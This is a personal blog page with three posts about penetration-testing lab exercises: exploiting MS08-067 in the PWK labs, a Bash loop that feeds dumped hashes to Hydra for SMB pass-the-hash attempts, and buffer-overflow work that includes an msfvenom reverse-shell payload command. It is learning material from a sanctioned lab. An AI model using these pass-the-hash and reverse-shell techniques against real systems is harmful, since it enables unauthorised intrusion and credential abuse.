- Personal website of Thomas Sluyter

Unimportant background
  RSS feed

About me

Blog archives















> Weblog

> Sysadmin articles

> Maths teaching

<< 1 / 2017 3 / 2017 >>

PWK labs: the second host falls

2017-02-28 21:35:00

juvenile delinquents

Wow, this has been a long while in coming, but I've finally pwned my second box in the PWK labs. It's been a few weeks, between finishing the course book exercises, recovering from a short illness and slacking off to "The 100" (thanks for introducing me to the show Mike!).

My second host caught my eye during the exercises in chapter 14, where we're doing password and hash attacks on Windows boxen. The hostname reminds me of juvy gangs, hence the book cover on the left. :D

The book asks us to use Metasploit to exploit one of the SMB servers, in order to grab a hashdump through Meterpreter. One of those servers stood out, as it could fall prey to the famous MS08-067. Because it's such a well-known bug, I wanted to replicate the attack manually instead of just using Metasploit. Not literally "manually", because I can't code that well, but by tweaking one of the pre-existing POCs such as or

It got frustrating and I bumped my head quite a few times, only to finally find out what I was doing wrong by reading a suggestion on the OffSec forums: 

"Well, consider how the malicious packet in 7132 is created, and where exactly the shellcode is inserted. If a shellcode of different size is substituted, how would that affect the rest of the items in the malicious packet?"

I hadn't accounted for my smaller payload size, which would mess up the execution of the whole exploit! After recalculating the NOP slide it was clear sailing and I now have admin on the box. 

I'm not satisfied though! I see the host is also vulnerable to another famous bug from 2005, which I've already confirmed with Metasploit. Now I want to make the relevant POC C-code also work in my situation :) This is fun stuff! tags: , , , ,

View or add comments (curr. 0)

Quick connection checks in Bash

2017-02-24 16:27:00

I can't believe it took me at least four years to learn about Bash's built-in Netcat equivalent /dev/tcp. And I really can't believe it took me even longer than that to learn about Bash's timeout command!

Today I'm attempting pass-the-hash attacks on the SMB hosts in the PWK labs. After trying a few different approaches, I've settled on using Hydra to test the hashes. The downside is that Hydra can sometimes get stuck in these "child terminated, cannot connect" loops when the SMB target can't be reached. To prevent that, I'm testing the connection with Bash's /dev/tcp, which has the downside that it may also get stuck in long waiting periods if the target isn't responding correctly. Enter timeout, stage left!

for IP in $(cat smb-hosts.txt | cut -f2)
	timeout 10 bash -c "echo > /dev/tcp/${IP}/445"
	[[ $? -gt 0 ]] && continue

	cat hashdump2.txt | tr ':' ' ' | while read USER IDNUM HSH1 HSH2
	  echo "============================"
	  echo "Testing ${USER} at ${IP}"
	  hydra -l ${USER} -p ${HSH1}:${HSH2} ${IP} -m "LocalHash" smb -w 5 -t 1
done tags: , ,

View or add comments (curr. 0)

Learning more about and thanks to buffer overflows

2017-02-04 09:20:00

I'm very happy that the PWK coursebook includes no less than three prepared buffer overflow exercises to play with. The first literally takes you by the hand and leads you through building the buffer overflow attack step by step. The second (exercise 7.8.1) gives you a Windows daemon to attack and basically tells you "Right! Now do what you just did once more, but without help!" and the third falls kind of in-between while attacking a Linux daemon. Exercise 7.8.1 (vulnserver.exe) is the last one I tackled as it required lab access.

By this time I felt I had an okay grasp of the basics and I had quickly ascertained the limits within which I would have to complete my work. Things ended up taking a lot more time though, because I have a shaky understanding of the output sizing displayed by MSFVenom. For example:

root@kali:# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -b "\x00" -f c
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes

I kept looking at the "final size" line, expecting that to be the amount that I needed to pack away inside the buffer. That led me down a rabbit hole of searching for the smallest possible payload (e.g. "cmd/windows/adduser") and trying to use that. Turns out that I should not look at the "final size" line, but simply at the "payload size" value. Man, 7.8.1 is so much easier now! Because yes, just about any decent payload does fit inside the buffer part before the EIP value. 

That just leaves you with the task of grabbing a pointer towards the start of the buffer. ESP is often used, but at the point of the exploit it points towards the end of the buffer. Not a problem though, right? Just throw a little math at it! Using "nasm_shell" I found the biggest subtraction (hint: it's not 1000 like in the image) I could make without introducing NULL characters into the buffer and just combined a bunch of'm to throw ESP backwards. After that, things work just fine. 

Learning points that I should look into: tags: , , ,

View or add comments (curr. 0)

<< 1 / 2017 3 / 2017 >>